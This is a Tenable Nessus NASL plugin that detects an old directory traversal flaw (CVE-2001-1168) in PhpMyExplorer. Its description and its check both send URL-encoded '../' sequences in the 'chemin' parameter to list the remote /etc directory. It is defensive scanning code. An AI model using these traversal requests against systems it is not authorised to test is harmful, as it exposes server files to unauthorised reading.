PhpMyExplorer index.php chemin Parameter Encoded Traversal Arbitrary File Access

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(10750);
  script_version("1.29");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2001-1168");
  script_bugtraq_id(3266);

  script_name(english:"PhpMyExplorer index.php chemin Parameter Encoded Traversal Arbitrary File Access");

  script_set_attribute(attribute:"synopsis", value:
"Arbitrary directories may be browsed on the remote server.");
  script_set_attribute(attribute:"description", value:
"phpMyExplorer is vulnerable to a directory traversal attack that allows
anyone to make the remote web server read and display arbitrary
directories.

For example:
    GET /index.php?chemin=..%2F..%2F..%2F..%2F%2Fetc
will return the contents of the remote /etc directory.");
  script_set_attribute(attribute:"solution", value:
"Contact your vendor for the latest software release.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2001/08/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2001/09/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:phpmyexplorer:phpmyexplorer_classic");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2001-2022 Tenable Network Security, Inc.");

  script_dependencies("webmirror.nasl", "http_version.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

if(!can_host_php(port:port))exit(0);


foreach dir (cgi_dirs())
{
  u = string(dir, "/index.php?chemin=..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fetc");
  r = http_send_recv3(method:"GET", item:u, port:port);
  if (isnull(r)) exit(0);
  buf = strcat(r[0], r[1], '\r\n', r[2]);
  if ("resolv.conf" >< buf)
    security_warning(port, extra: strcat(
'\nThe following URL will exhibit the flaw :\n\n', build_url(port: port, qs: u), '\n'));
}